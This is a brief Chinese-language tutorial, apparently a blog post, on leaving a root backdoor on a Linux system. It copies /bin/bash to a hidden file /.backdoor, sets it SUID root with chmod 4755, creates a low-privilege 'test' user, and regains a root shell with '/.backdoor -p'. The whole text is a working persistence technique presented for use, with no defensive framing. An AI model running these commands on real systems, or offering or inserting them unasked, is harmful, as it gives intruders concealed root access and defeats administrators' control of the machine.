前言
实践才是检验真理的唯一标准!
过程
这种方式需要先用root权限复制/bin/bash,命令如下:
cp /bin/bash /.backdoor
赋予所有用户都可以执行这个/.backdoor的权限,命令如下:
chmod 4755 /.backdoor
添加一个低权限用户,命令如下:
useradd test
给test用户添加密码,命令如下:
passwd test
切换至一个低权限用户,命令如下:
su test
进入终端后,输入/.backdoor -p即成功。
注意:一定要加上-p参数
不然会出现下图一样的错误(权限依旧没变且访问root目录无权限):
最终效果图: